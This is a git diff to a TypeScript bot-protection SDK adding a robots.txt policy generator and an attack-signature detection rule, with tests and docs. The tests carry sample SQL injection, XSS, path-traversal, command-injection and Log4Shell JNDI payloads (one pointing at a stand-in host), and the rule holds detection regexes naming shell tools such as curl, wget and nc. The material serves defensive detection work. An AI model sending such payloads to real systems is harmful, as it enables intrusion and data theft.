diff --git a/CHANGELOG.md b/CHANGELOG.md index 43bfb89..ee7b0ac 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- **`botPolicy()` — one policy, published and enforced.** `BOT_REGISTRY` already carried the customer-facing categories and `bots()` already enforced against it, but nothing published from it, so every site hand-wrote a `robots.txt` that drifted from what the code did. `botPolicy({ deny, allow })` returns both `robotsTxt()` and `rule()`, resolved from the same set — a test asserts across all 169 registry agents that the two cannot diverge. The generated file names the agents in your deny set whose operator does not document honouring robots.txt, so it says which of its own lines are only a request; `policy.unenforceable` is the same list in code. No API key. + +- **`attackSignatures()` — a curated attack-payload rule.** Tripwires catch scanners by the path they ask for; nothing looked at what they send. Deliberately not a WAF: a small set of signatures (SQL injection, XSS, traversal, command injection, `${jndi:`) each chosen because it has no innocent reading in a path or query. Inspects path and query by default; bodies and headers are opt-in, and the `Cookie` header is never inspected at all. Every pattern is anchored or literal with no nested quantifiers, and input is truncated at `maxBytes`, so a crafted payload cannot turn the rule into the denial of service it exists to catch. Covered by a 17-case false-positive corpus of ordinary traffic. + +- **`RequestMetadata.query` and `.body`.** The adapters now populate `query`, which `attackSignatures()` needs — Express's `req.path` excludes the query string, and that is exactly where injection payloads live. `body` is never populated automatically: buffering a body the application has not already parsed would change its streaming behaviour. + - **Rate-limit counters can be shared.** `RateLimitRule` hard-constructed an in-memory `Map` with no seam to replace it, so on any deployment with more than one process the limit was effectively `max × instances` — and on Vercel or Lambda it reset on every cold start. `rateLimit({ store })` now takes a `RateLimitStore`. - `upstashRateLimitStore({ url, token })` ships in the core package. Upstash speaks Redis over HTTP, which is the only shape that works on Vercel Edge, Workers and Deno, where an ordinary client cannot open a socket. It calls the REST API with `fetch` rather than depending on `@upstash/redis`. - Fails open by default when Redis is unreachable; `onError: 'closed'` denies instead. Either way the outcome is visible in `decision.results`. diff --git a/README.md b/README.md index 70c5f30..378f19a 100644 --- a/README.md +++ b/README.md @@ -112,6 +112,7 @@ const wd = new WebDecoy({ - **`tripwire({ paths?, prefixes?, patterns?, includeDefaults? })`** — deterministic honeypot-path detection. No key. - **`webBotAuth({ onImpersonation?, onClaimed?, allowCategories? })`** — verify AI-agent signatures (Web Bot Auth / RFC 9421) locally; deny impersonators of known agents. No key. - **`filter({ expression, action? })`** — an expression language over IP reputation/geo (e.g. `ip.tor`, `ip.country in ["CN", "RU"]`). Requires an API key for enrichment. +- **`attackSignatures({ inspect?, exclude?, action? })`** — deny requests carrying unambiguous injection payloads. No key. See [attack signatures](#attack-signatures). ## Verify AI agents (Web Bot Auth) @@ -204,6 +205,67 @@ if (!result.allowed) { | [@webdecoy/nextjs](https://www.npmjs.com/package/@webdecoy/nextjs) | [![npm](https://img.shields.io/npm/v/@webdecoy/nextjs.svg)](https://www.npmjs.com/package/@webdecoy/nextjs) | Next.js middleware | | [@webdecoy/client](https://www.npmjs.com/package/@webdecoy/client) | [![npm](https://img.shields.io/npm/v/@webdecoy/client.svg)](https://www.npmjs.com/package/@webdecoy/client) | Browser-side signal collector | +## One bot policy, published and enforced + +`botPolicy()` produces both the `robots.txt` you publish and the rule that +enforces it, from one object — so they cannot drift: + +```typescript +import { WebDecoy, botPolicy } from '@webdecoy/node'; + +const policy = botPolicy({ + deny: ['training_crawler'], // or 'ai', a category, or an agent name + allow: ['perplexitybot'], +}); + +app.get('/robots.txt', (_req, res) => res.type('text/plain').send(policy.robotsTxt())); + +const wd = new WebDecoy({ rules: [policy.rule()] }); +``` + +A `robots.txt` that disallows GPTBot while the middleware lets it through is a +policy you believe is in force and is not. The reverse — enforcing against a +crawler the published file invites — is how a site quietly leaves a search index. + +`robots.txt` is a request, honoured at the crawler's discretion. The registry +records whether each operator *documents* honouring it, and the generated file +names the ones in your deny set that do not: + +``` +# These do not document honouring robots.txt, so the lines below are a +# request only. The bots() rule is what actually stops them: +# ByteSpider (ByteDance) +# Webz.io (Webz.io) +``` + +`policy.unenforceable` is the same list, in code. Requires no API key. + +## Attack signatures + +Tripwires catch scanners by the path they ask for. `attackSignatures()` looks at +what they send: + +```typescript +attackSignatures({ + inspect: ['path', 'query'], // default; 'body' and 'headers' are opt-in + exclude: ['traversal'], // signature ids + dryRun: false, +}); +``` + +**This is not a WAF, and should not become one.** A WAF's value is breadth, and +breadth is bought with false positives. This is a small curated set — SQL +injection, XSS, traversal, command injection, `${jndi:` — chosen because each has +no innocent reading in a path or query string. It composes with the deterministic +signals: a request carrying an injection payload *and* walking into a tripwire is +much stronger evidence than either alone. + +Bodies and headers are off by default, because a CMS saving an article and a URL +passed as a query parameter both legitimately contain things that look like +attacks. Turn them on with `dryRun: true` first. The `Cookie` header is never +inspected at all — session tokens are opaque, and one that trips a signature logs +a user out for a reason nobody can explain. + ## Rate limits across more than one process `rateLimit()` counts in this process's memory by default. That is correct for a diff --git a/packages/express/src/middleware.ts b/packages/express/src/middleware.ts index d800133..0e89a5d 100644 --- a/packages/express/src/middleware.ts +++ b/packages/express/src/middleware.ts @@ -256,6 +256,11 @@ export function webdecoy( ip: getIP(req), user_agent: req.headers['user-agent'], headers: req.headers as Record, + // `req.path` excludes the query, which is where injection payloads + // live, so attackSignatures() cannot see them without this. + query: req.originalUrl.includes('?') + ? req.originalUrl.slice(req.originalUrl.indexOf('?') + 1) + : undefined, timestamp: Date.now(), }; diff --git a/packages/fastify/src/plugin.ts b/packages/fastify/src/plugin.ts index eb1878c..d652e5e 100644 --- a/packages/fastify/src/plugin.ts +++ b/packages/fastify/src/plugin.ts @@ -272,6 +272,9 @@ async function webdecoyPluginImpl( ip: getIP(req), user_agent: req.headers['user-agent'], headers, + // The query is where injection payloads live, and it is not part of + // the routed path, so attackSignatures() cannot see it otherwise. + query: req.url.includes('?') ? req.url.slice(req.url.indexOf('?') + 1) : undefined, timestamp: Date.now(), }; diff --git a/packages/nextjs/src/middleware.ts b/packages/nextjs/src/middleware.ts index 00875cb..a98fb4e 100644 --- a/packages/nextjs/src/middleware.ts +++ b/packages/nextjs/src/middleware.ts @@ -202,6 +202,9 @@ export function withWebDecoy( ip: getIP(req), user_agent: req.headers.get('user-agent') || undefined, headers, + // The query is where injection payloads live, and it is not part of + // the routed path, so attackSignatures() cannot see it otherwise. + query: req.nextUrl.search ? req.nextUrl.search.slice(1) : undefined, timestamp: Date.now(), }; @@ -350,6 +353,9 @@ export function withBotProtection any>( ip, user_agent: req.headers['user-agent'], headers: req.headers as Record, + // The query is where injection payloads live, and it is not part of + // the routed path, so attackSignatures() cannot see it otherwise. + query: req.url?.includes('?') ? req.url.slice(req.url.indexOf('?') + 1) : undefined, timestamp: Date.now(), }; diff --git a/packages/webdecoy/src/index.ts b/packages/webdecoy/src/index.ts index 9621d97..2538443 100644 --- a/packages/webdecoy/src/index.ts +++ b/packages/webdecoy/src/index.ts @@ -86,6 +86,11 @@ export { filter, tripwire, bots, + botPolicy, + BotPolicy, + attackSignatures, + AttackSignatureRule, + ATTACK_SIGNATURE_IDS, webBotAuth, honeytoken, RuleEngine, @@ -113,6 +118,9 @@ export type { FilterConfig, TripwireConfig, BotRuleConfig, + BotPolicyOptions, + RobotsTxtOptions, + AttackSignatureConfig, WebBotAuthConfig, HoneytokenOptions, Honeytoken, diff --git a/packages/webdecoy/src/rules/attack-signatures.test.ts b/packages/webdecoy/src/rules/attack-signatures.test.ts new file mode 100644 index 0000000..9b86113 --- /dev/null +++ b/packages/webdecoy/src/rules/attack-signatures.test.ts @@ -0,0 +1,156 @@ +import { attackSignatures, ATTACK_SIGNATURE_IDS } from './attack-signatures'; +import type { Rule, RuleContext } from './types'; + +const ctx = (over: Partial = {}): RuleContext => ({ + ip: '203.0.113.9', + path: '/', + method: 'GET', + headers: {}, + timestamp: Date.now(), + ...over, +}); + +const hit = (rule: Rule, c: Partial) => rule.evaluate(ctx(c)).action === 'DENY'; + +describe('attack signatures — true positives', () => { + const rule = attackSignatures(); + + it.each([ + ["union select", "?id=1' UNION SELECT password FROM users"], + ['tautology', "?id=1' OR 1=1--"], + ['quoted tautology', "?u=admin' or 'a'='a"], + ['stacked statement', '?id=1; DROP TABLE users'], + ['timing function', '?id=1 AND sleep(10)'], + ['metadata probe', '?id=1 UNION SELECT * FROM information_schema.tables'], + ['script tag', '?q='], + ['svg onload', '?q='], + ['event handler', '?q='], + ['traversal', '?file=../../../../etc/passwd'], + ['sensitive path', '?file=/etc/passwd'], + ['command injection', '?host=127.0.0.1;cat /etc/hosts'], + ['subshell', '?x=$(whoami)'], + ['jndi', '?x=${jndi:ldap://evil.example/a}'], + ])('catches %s', (_label, query) => { + expect(hit(rule, { query: query.replace(/^\?/, '') })).toBe(true); + }); + + it('sees through percent-encoding', () => { + expect(hit(rule, { query: 'file=..%2F..%2F..%2F..%2Fetc%2Fpasswd' })).toBe(true); + expect(hit(rule, { query: 'q=%3Cscript%3Ealert(1)%3C%2Fscript%3E' })).toBe(true); + }); + + it('sees through double encoding', () => { + expect(hit(rule, { query: 'q=%253Cscript%253Ealert(1)%253C%252Fscript%253E' })).toBe(true); + }); + + it('inspects the path as well as the query', () => { + expect(hit(rule, { path: '/files/../../../../etc/passwd' })).toBe(true); + }); + + it('names the signature and where it was found', () => { + const result = attackSignatures().evaluate(ctx({ query: 'x=${jndi:ldap://e/a}' })); + expect(result.metadata).toMatchObject({ signature: 'ssti_jndi', where: 'query' }); + expect(result.reason).toMatch(/JNDI/); + }); +}); + +describe('attack signatures — ordinary traffic must not trip', () => { + const rule = attackSignatures(); + + it.each([ + ['a search phrase using "or"', 'q=coffee or tea'], + ['a select in prose', 'q=how to select a mattress'], + ['a URL as a parameter', 'next=https://example.com/a/b?x=1&y=2'], + ['an email address', 'email=someone%2Btag%40example.com'], + ['a base64 token', 't=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.abc-_123'], + ['a single relative segment', 'next=../dashboard'], + ['a parameter literally named onerror', 'onerror=1&onload=2'], + ['a date range', 'from=2026-01-01&to=2026-12-31'], + ['a price filter', 'price=10..50'], + ['a JSON-ish parameter', 'filter={"status":"active","count":5}'], + ['an unclosed percent sign', 'discount=50%&code=SAVE'], + ['a UUID', 'id=3f2504e0-4f89-11d3-9a0c-0305e82c3301'], + ])('leaves %s alone', (_label, query) => { + expect(hit(rule, { query })).toBe(false); + }); + + it.each([ + '/', + '/api/v1/users/42', + '/blog/2026/08/how-to-select-a-good-domain', + '/assets/app.a1b2c3.js', + '/docs/getting-started#installation', + ])('leaves the path %s alone', (path) => { + expect(hit(rule, { path })).toBe(false); + }); +}); + +describe('what it refuses to look at by default', () => { + it('ignores the body unless asked', () => { + const body = '{"content":""}'; + // A CMS saving an article is not an attack, and this is why body inspection + // is the operator's call. + expect(hit(attackSignatures(), { body })).toBe(false); + expect(hit(attackSignatures({ inspect: ['body'] }), { body })).toBe(true); + }); + + it('ignores headers unless asked', () => { + const headers = { 'x-api-version': '${jndi:ldap://evil/a}' }; + expect(hit(attackSignatures(), { headers })).toBe(false); + expect(hit(attackSignatures({ inspect: ['headers'] }), { headers })).toBe(true); + }); + + it('never inspects the cookie header, even when headers are on', () => { + // Session tokens are opaque and application-defined. One that trips a + // signature logs the user out for a reason nobody can explain. + const headers = { cookie: 'sid=abc; pref=%3Cscript%3E' }; + expect(hit(attackSignatures({ inspect: ['headers'] }), { headers })).toBe(false); + }); +}); + +describe('configuration', () => { + it('honours dryRun', () => { + const result = attackSignatures({ dryRun: true }).evaluate(ctx({ query: 'x=${jndi:a}' })); + expect(result.action).toBe('ALLOW'); + expect(result.metadata?.dryRun).toBe(true); + }); + + it('honours exclude', () => { + const query = 'file=../../../../etc/hosts'; + expect(hit(attackSignatures(), { query })).toBe(true); + expect(hit(attackSignatures({ exclude: ['traversal'] }), { query })).toBe(false); + }); + + it('can throttle instead of deny', () => { + expect(attackSignatures({ action: 'THROTTLE' }).evaluate(ctx({ query: 'x=$(id)' })).action).toBe( + 'THROTTLE', + ); + }); + + it('exposes its signature ids for exclude', () => { + expect(ATTACK_SIGNATURE_IDS).toContain('sqli_union'); + expect(new Set(ATTACK_SIGNATURE_IDS).size).toBe(ATTACK_SIGNATURE_IDS.length); + }); +}); + +describe('cost', () => { + it('truncates past maxBytes rather than scanning everything', () => { + // The payload sits past the cap, so it is not found — which is the trade + // being made, and the reason the cap is configurable. + const body = 'a'.repeat(1000) + '${jndi:ldap://evil/a}'; + expect(hit(attackSignatures({ inspect: ['body'], maxBytes: 500 }), { body })).toBe(false); + expect(hit(attackSignatures({ inspect: ['body'], maxBytes: 5000 }), { body })).toBe(true); + }); + + it('stays fast on a large hostile-looking body', () => { + // Every pattern is anchored or literal with no nested quantifiers. A regex + // that backtracks catastrophically here would turn this rule into the + // denial of service it exists to catch. + const rule = attackSignatures({ inspect: ['path', 'query', 'body'] }); + const body = `${"'or'".repeat(2000)}${'', test: /<\s*script[\s>/]/i }, + { id: 'xss_javascript_uri', label: 'javascript: URI', test: /javascript\s*:[^\s]{0,64}\(/i }, + { + id: 'xss_event_handler', + label: 'Inline event handler', + // Requires a tag context, so `onerror` as a bare parameter name is not a hit. + test: /<[a-z][a-z0-9]{0,15}[^>]{0,256}\son(?:error|load|click|mouseover|focus)\s*=/i, + }, + { id: 'xss_svg_onload', label: 'SVG onload', test: /<\s*svg[^>]{0,128}\bonload\b/i }, + + // --- Path traversal ------------------------------------------------------ + { + id: 'traversal', + label: 'Path traversal', + // Two or more segments: a single `../` shows up in legitimately relative + // redirect targets often enough to be worth the extra evidence. + test: /(?:\.\.[/\\]){2,}/, + }, + { id: 'traversal_etc', label: 'Sensitive file path', test: /\/etc\/(?:passwd|shadow)\b/i }, + + // --- Command injection --------------------------------------------------- + { + id: 'cmdi_shell', + label: 'Shell command injection', + test: /[;|&`]\s*(?:cat|curl|wget|nc|bash|sh|python|perl|chmod)\s+[-/\w]/i, + }, + { id: 'cmdi_subshell', label: 'Shell substitution', test: /\$\([a-z][^)]{0,64}\)/i }, + + // --- Template / expression injection ------------------------------------- + { id: 'ssti_jndi', label: 'JNDI lookup (Log4Shell)', test: /\$\{\s*jndi\s*:/i }, + { id: 'ssti_expression', label: 'Template expression', test: /\{\{\s*[\w.]+\s*[(*]/ }, +]; + +export interface AttackSignatureConfig { + /** + * Which parts of the request to inspect. + * + * Defaults to `['path', 'query']`, which is where a signature has no innocent + * reading. `'body'` and `'headers'` are opt-in: a CMS saving an article, a + * template inside a JSON payload and a URL passed as a parameter all + * legitimately contain things that look like attacks. Start those in `dryRun`. + * + * @default ['path', 'query'] + */ + inspect?: ('path' | 'query' | 'body' | 'headers')[]; + /** + * Bytes of each inspected part to scan. Beyond this the input is truncated, + * so a large body cannot turn matching into the denial of service the rule + * exists to catch. + * @default 8192 + */ + maxBytes?: number; + /** Signature ids to skip, e.g. `['traversal']`. */ + exclude?: string[]; + /** Action on a match. @default 'DENY' */ + action?: 'DENY' | 'THROTTLE'; + /** Log the violation but do not block. */ + dryRun?: boolean; +} + +/** + * Decode percent-encoding, twice at most. + * + * Attacks arrive encoded, often doubly, and matching the raw string misses them. + * Unbounded decoding is not the answer either: it is unclear what a + * quadruple-encoded string even means, and each pass is work an attacker + * controls the amount of. + */ +function decodeBounded(input: string): string[] { + const forms = [input]; + let current = input; + for (let i = 0; i < 2; i++) { + if (!current.includes('%')) break; + let next: string; + try { + next = decodeURIComponent(current); + } catch { + // Malformed encoding. Deliberately not a hit on its own — plenty of real + // clients send stray percent signs — but nothing further to decode. + break; + } + if (next === current) break; + forms.push(next); + current = next; + } + return forms; +} + +export class AttackSignatureRule implements Rule { + readonly name = 'attack-signatures'; + private readonly inspect: ReadonlySet; + private readonly maxBytes: number; + private readonly signatures: readonly Signature[]; + private readonly action: 'DENY' | 'THROTTLE'; + private readonly dryRun: boolean; + + constructor(config: AttackSignatureConfig = {}) { + this.inspect = new Set(config.inspect ?? ['path', 'query']); + this.maxBytes = config.maxBytes ?? 8192; + const excluded = new Set(config.exclude ?? []); + this.signatures = SIGNATURES.filter((s) => !excluded.has(s.id)); + this.action = config.action ?? 'DENY'; + this.dryRun = config.dryRun ?? false; + } + + evaluate(context: RuleContext): RuleResult { + for (const [where, raw] of this.parts(context)) { + if (!raw) continue; + const truncated = raw.length > this.maxBytes ? raw.slice(0, this.maxBytes) : raw; + for (const form of decodeBounded(truncated)) { + for (const signature of this.signatures) { + if (!signature.test.test(form)) continue; + return { + action: this.dryRun ? 'ALLOW' : this.action, + rule: this.name, + reason: `${signature.label} in request ${where}`, + metadata: { + signature: signature.id, + label: signature.label, + where, + dryRun: this.dryRun, + }, + }; + } + } + } + + return { action: 'ALLOW', rule: this.name }; + } + + private parts(context: RuleContext): [string, string | undefined][] { + const out: [string, string | undefined][] = []; + if (this.inspect.has('path')) out.push(['path', context.path]); + if (this.inspect.has('query')) out.push(['query', context.query]); + if (this.inspect.has('body')) out.push(['body', context.body]); + if (this.inspect.has('headers')) { + for (const [name, value] of Object.entries(context.headers ?? {})) { + // Cookies are excluded: they carry opaque, application-defined values + // that hit signatures by coincidence, and a session token that trips a + // rule logs the user out for no reason anyone can explain. + if (name === 'cookie') continue; + out.push([`header:${name}`, value]); + } + } + return out; + } +} + +/** + * Deny requests carrying unambiguous attack payloads. See + * {@link AttackSignatureConfig} — and note that this is a small curated set, not + * a WAF. + */ +export function attackSignatures(config: AttackSignatureConfig = {}): Rule { + return new AttackSignatureRule(config); +} + +/** The signature ids, for `exclude` and for tests. */ +export const ATTACK_SIGNATURE_IDS: readonly string[] = SIGNATURES.map((s) => s.id); diff --git a/packages/webdecoy/src/rules/bot-policy.test.ts b/packages/webdecoy/src/rules/bot-policy.test.ts new file mode 100644 index 0000000..8d6b2c2 --- /dev/null +++ b/packages/webdecoy/src/rules/bot-policy.test.ts @@ -0,0 +1,120 @@ +import { botPolicy } from './bot-policy'; +import { BOT_REGISTRY } from '../bots'; +import type { RuleContext } from './types'; +import { classifyUserAgent } from '../bots'; + +const ctxFor = (ua: string): RuleContext => ({ + ip: '203.0.113.9', + path: '/', + method: 'GET', + userAgent: ua, + headers: {}, + timestamp: Date.now(), + bot: classifyUserAgent(ua), +}); + +/** The User-agent tokens a robots.txt body disallows. */ +function disallowed(body: string): string[] { + const out: string[] = []; + const lines = body.split('\n'); + for (let i = 0; i < lines.length; i++) { + const ua = /^User-agent:\s*(.+)$/.exec(lines[i]); + if (!ua || ua[1] === '*') continue; + if (/^Disallow:\s*\/\s*$/.test(lines[i + 1] ?? '')) out.push(ua[1]); + } + return out; +} + +describe('botPolicy', () => { + it('publishes and enforces the same set — this is the whole point', () => { + const policy = botPolicy({ deny: ['training_crawler'], allow: ['perplexitybot'] }); + const rule = policy.rule(); + + const published = new Set(disallowed(policy.robotsTxt())); + expect(published.size).toBeGreaterThan(10); + + // Every agent the file disallows is one the rule denies, and vice versa. + // Drift between the two is a policy the operator believes is in force and + // is not. + for (const agent of BOT_REGISTRY) { + const ua = `${agent.uaPatterns[0]}/1.0`; + const verdict = classifyUserAgent(ua); + // Only assert on agents this UA actually resolves to — several share + // substrings and the matcher takes the first hit. + if (verdict.id !== agent.id) continue; + + const denied = rule.evaluate(ctxFor(ua)).action === 'DENY'; + expect({ agent: agent.id, denied }).toEqual({ + agent: agent.id, + denied: published.has(agent.name), + }); + } + }); + + it('honours an allow-list in both outputs at once', () => { + const policy = botPolicy({ deny: ['training_crawler'], allow: ['perplexitybot'] }); + expect(disallowed(policy.robotsTxt())).not.toContain('PerplexityBot'); + expect(policy.rule().evaluate(ctxFor('PerplexityBot/1.0')).action).toBe('ALLOW'); + }); + + it('takes categories, agent names and the ai shorthand together', () => { + const byCategory = botPolicy({ deny: ['training_crawler'] }); + const byName = botPolicy({ deny: ['GPTBot'] }); + const byAi = botPolicy({ deny: ['ai'] }); + + expect(byCategory.matched.some((a) => a.id === 'gptbot')).toBe(true); + expect(byName.matched.map((a) => a.id)).toEqual(['gptbot']); + // 'ai' spans four categories, so it must be a superset of any one of them. + expect(byAi.matched.length).toBeGreaterThan(byCategory.matched.length); + }); + + it('names the agents that do not document honouring robots.txt', () => { + const policy = botPolicy({ deny: ['training_crawler'] }); + const ignoring = policy.unenforceable; + expect(ignoring.length).toBeGreaterThan(0); + + const body = policy.robotsTxt(); + // The file should say which of its own lines are only a request. + for (const agent of ignoring) { + expect(body).toContain(`# ${agent.name}`); + } + expect(body).toMatch(/request only/); + }); + + it('can be published without the annotation', () => { + const body = botPolicy({ deny: ['training_crawler'] }).robotsTxt({ annotate: false }); + expect(body.startsWith('User-agent:')).toBe(true); + expect(body).not.toContain('#'); + }); + + it('emits a wildcard group that allows everything else', () => { + const body = botPolicy({ deny: ['GPTBot'] }).robotsTxt(); + // An empty Disallow is the spec's "nothing is off limits". A group with no + // rules at all is undefined behaviour. + expect(body).toMatch(/User-agent: \*\nDisallow:\s*\n/); + }); + + it('carries sitemap, crawl delay and shared disallows', () => { + const body = botPolicy({ deny: [] }).robotsTxt({ + sitemap: 'https://example.com/sitemap.xml', + crawlDelay: 10, + disallow: ['/admin', '/internal'], + }); + expect(body).toContain('Sitemap: https://example.com/sitemap.xml'); + expect(body).toContain('Crawl-delay: 10'); + expect(body).toContain('Disallow: /admin'); + expect(body).toContain('Disallow: /internal'); + }); + + it('is a valid empty policy when nothing is denied', () => { + const policy = botPolicy(); + expect(policy.matched).toHaveLength(0); + expect(disallowed(policy.robotsTxt())).toEqual([]); + expect(policy.rule().evaluate(ctxFor('GPTBot/1.0')).action).toBe('ALLOW'); + }); + + it('never emits three blank lines in a row', () => { + const body = botPolicy({ deny: ['ai'] }).robotsTxt({ sitemap: 'https://e.com/s.xml' }); + expect(body).not.toMatch(/\n\n\n/); + }); +}); diff --git a/packages/webdecoy/src/rules/bot-policy.ts b/packages/webdecoy/src/rules/bot-policy.ts new file mode 100644 index 0000000..c7f73d3 --- /dev/null +++ b/packages/webdecoy/src/rules/bot-policy.ts @@ -0,0 +1,182 @@ +/** + * One bot policy, published and enforced. + * + * WHY THIS EXISTS + * + * `BOT_REGISTRY` is generated from the Go registry and already carries the + * customer-facing categories. `bots()` enforces against that table. Nothing + * published from it — so every site that wanted to control AI crawlers + * hand-wrote a `robots.txt` that drifted from whatever the code actually did. + * + * Drift here is not cosmetic. A `robots.txt` that disallows GPTBot while the + * middleware lets it through is a policy the operator believes is in force and + * is not. The reverse — enforcing against a crawler the published file invites — + * is how a site quietly disappears from a search index. + * + * So the two come from one object: + * + * ```ts + * const policy = botPolicy({ deny: ['training_crawler'], allow: ['perplexitybot'] }); + * + * app.get('/robots.txt', (_req, res) => res.type('text/plain').send(policy.robotsTxt())); + * const wd = new WebDecoy({ rules: [policy.rule()] }); + * ``` + * + * WHAT ROBOTS.TXT IS AND IS NOT + * + * It is a request, honoured at the crawler's discretion. The registry records + * whether each operator *documents* honouring it, which is a claim rather than + * an observation, and {@link BotPolicy.unenforceable} lists the agents in your + * deny set that do not even claim it. Those are the ones the rule is actually + * doing the work for, and `robotsTxt()` names them in a comment so the file + * itself says which half of the policy is voluntary. + */ + +import { BOT_REGISTRY, BOT_CATEGORIES } from '../bots'; +import type { BotAgent, BotCategory } from '../bots'; +import { BotRule } from './bot-rule'; +import type { Rule, BotRuleConfig } from './types'; + +const AI_CATEGORIES: ReadonlySet = new Set([ + 'training_crawler', + 'ai_search_crawler', + 'ai_agent', + 'ai_assistant', +]); + +export interface BotPolicyOptions { + /** + * What the policy is against: category names (`'training_crawler'`), agent + * slugs or display names (`'gptbot'`, `'GPTBot'`), or the literal `'ai'` for + * every AI client. + */ + deny?: (BotCategory | 'ai' | string)[]; + /** Never act on these, whatever else matches. Applied last. */ + allow?: string[]; + /** Action the rule takes on a match. @default 'DENY' */ + action?: 'DENY' | 'THROTTLE'; + /** Rule logs but does not block. Does not change what `robotsTxt()` emits. */ + dryRun?: boolean; +} + +export interface RobotsTxtOptions { + /** Absolute sitemap URL, emitted as a `Sitemap:` line. */ + sitemap?: string; + /** `Crawl-delay` in seconds, applied to the wildcard group. */ + crawlDelay?: number; + /** + * Emit a trailing `User-agent: *` group allowing everything else. + * @default true + */ + allowOthers?: boolean; + /** Paths to disallow for every agent, e.g. `['/admin']`. */ + disallow?: string[]; + /** + * Include the header comment naming agents that do not document honouring + * robots.txt. @default true + */ + annotate?: boolean; +} + +export class BotPolicy { + private readonly config: BotRuleConfig; + /** The agents this policy is against, resolved from the registry. */ + readonly matched: readonly BotAgent[]; + + constructor(options: BotPolicyOptions = {}) { + const deny = options.deny ?? []; + const allow = new Set((options.allow ?? []).map((a) => a.toLowerCase())); + + const categories = new Set(); + const agents = new Set(); + let ai = false; + + for (const token of deny) { + if (token === 'ai') ai = true; + else if ((BOT_CATEGORIES as readonly string[]).includes(token)) categories.add(token); + else agents.add(token.toLowerCase()); + } + + this.config = { + categories: [...categories] as BotCategory[], + agents: [...agents], + ai, + allow: options.allow, + action: options.action, + dryRun: options.dryRun, + }; + + // Resolved once, so the published file and the rule are reading the same + // answer rather than each re-deriving it. + this.matched = BOT_REGISTRY.filter((agent) => { + if (allow.has(agent.id) || allow.has(agent.name.toLowerCase())) return false; + return ( + (ai && AI_CATEGORIES.has(agent.category)) || + categories.has(agent.category) || + agents.has(agent.id) || + agents.has(agent.name.toLowerCase()) + ); + }); + } + + /** + * Agents in the deny set whose operator does not document honouring + * robots.txt. Publishing still declares the policy; only the rule enforces it + * against these. + */ + get unenforceable(): readonly BotAgent[] { + return this.matched.filter((a) => a.respectsRobots !== true); + } + + /** The enforcing rule. Denies exactly the agents in {@link matched}. */ + rule(): Rule { + return new BotRule(this.config); + } + + /** The published policy, as a `robots.txt` body. */ + robotsTxt(options: RobotsTxtOptions = {}): string { + const { allowOthers = true, annotate = true } = options; + const lines: string[] = []; + + if (annotate) { + lines.push('# Managed by WebDecoy — published and enforced from one policy.'); + const ignoring = this.unenforceable; + if (ignoring.length > 0) { + // Named rather than silently included: an operator reading their own + // robots.txt should be able to see which lines are a request and which + // are backed by something. + lines.push( + '# These do not document honouring robots.txt, so the lines below are a', + '# request only. The bots() rule is what actually stops them:', + ...ignoring.map((a) => `# ${a.name}${a.organization ? ` (${a.organization})` : ''}`), + ); + } + lines.push(''); + } + + for (const agent of this.matched) { + lines.push(`User-agent: ${agent.name}`, 'Disallow: /', ''); + } + + if (allowOthers) { + lines.push('User-agent: *'); + for (const path of options.disallow ?? []) lines.push(`Disallow: ${path}`); + // An empty Disallow is the spec's way of saying "nothing is off limits", + // and it must be present — a group with no rules at all is undefined. + if ((options.disallow ?? []).length === 0) lines.push('Disallow:'); + if (options.crawlDelay !== undefined) lines.push(`Crawl-delay: ${options.crawlDelay}`); + lines.push(''); + } + + if (options.sitemap) lines.push(`Sitemap: ${options.sitemap}`, ''); + + return lines.join('\n').replace(/\n{3,}/g, '\n\n').trimStart(); + } +} + +/** + * A bot policy you can both publish and enforce. See {@link BotPolicy}. + */ +export function botPolicy(options: BotPolicyOptions = {}): BotPolicy { + return new BotPolicy(options); +} diff --git a/packages/webdecoy/src/rules/index.ts b/packages/webdecoy/src/rules/index.ts index ef57c11..aba2106 100644 --- a/packages/webdecoy/src/rules/index.ts +++ b/packages/webdecoy/src/rules/index.ts @@ -7,6 +7,12 @@ export { RateLimitRule } from './rate-limit-rule'; export { FilterRule } from './filter-rule'; export { TripwireRule, DEFAULT_TRIPWIRE_PATHS } from './tripwire-rule'; export { BotRule } from './bot-rule'; +export { BotPolicy, botPolicy } from './bot-policy'; +export { + AttackSignatureRule, + attackSignatures, + ATTACK_SIGNATURE_IDS, +} from './attack-signatures'; export { WebBotAuthRule, webBotAuth } from './web-bot-auth-rule'; export { honeytoken } from './honeytoken'; export { InMemoryRateLimiter } from './rate-limiter'; @@ -26,6 +32,8 @@ export type { IPEnrichmentData, } from './types'; export type { WebBotAuthConfig } from './web-bot-auth-rule'; +export type { BotPolicyOptions, RobotsTxtOptions } from './bot-policy'; +export type { AttackSignatureConfig } from './attack-signatures'; export type { HoneytokenOptions, Honeytoken } from './honeytoken'; export type { RateLimitStore, diff --git a/packages/webdecoy/src/rules/types.ts b/packages/webdecoy/src/rules/types.ts index 60fd052..04661d1 100644 --- a/packages/webdecoy/src/rules/types.ts +++ b/packages/webdecoy/src/rules/types.ts @@ -22,6 +22,10 @@ export interface RuleContext { userAgent?: string; /** Request headers (lowercase keys) */ headers: Record; + /** Raw query string, without the leading `?`. */ + query?: string; + /** Request body as text, when the application supplied one. */ + body?: string; /** Request timestamp */ timestamp: number; /** IP enrichment data (populated async when available) */ diff --git a/packages/webdecoy/src/sdk.ts b/packages/webdecoy/src/sdk.ts index 7717b44..982104e 100644 --- a/packages/webdecoy/src/sdk.ts +++ b/packages/webdecoy/src/sdk.ts @@ -199,6 +199,8 @@ export class WebDecoy { method: metadata.method, userAgent: metadata.user_agent, headers: metadata.headers, + query: metadata.query, + body: metadata.body, timestamp: metadata.timestamp || Date.now(), // Parsed synchronously and unconditionally: it is two header reads, // it needs no network, and a rule that has to check whether the edge diff --git a/packages/webdecoy/src/types.ts b/packages/webdecoy/src/types.ts index 6c51a44..c483bb8 100644 --- a/packages/webdecoy/src/types.ts +++ b/packages/webdecoy/src/types.ts @@ -147,6 +147,20 @@ export interface RequestMetadata { /** All request headers */ headers: Record; + /** + * Raw query string, without the leading `?`. Populated by the adapters. + * Read by `attackSignatures()`, which cannot see it via `path` — Express's + * `req.path` excludes the query, and that is where injection payloads live. + */ + query?: string; + + /** + * Request body as text, when the application chooses to supply it. Never + * populated automatically: buffering a body the application has not already + * parsed would change its streaming behaviour. + */ + body?: string; + /** TLS connection information */ tls_info?: TLSInfo;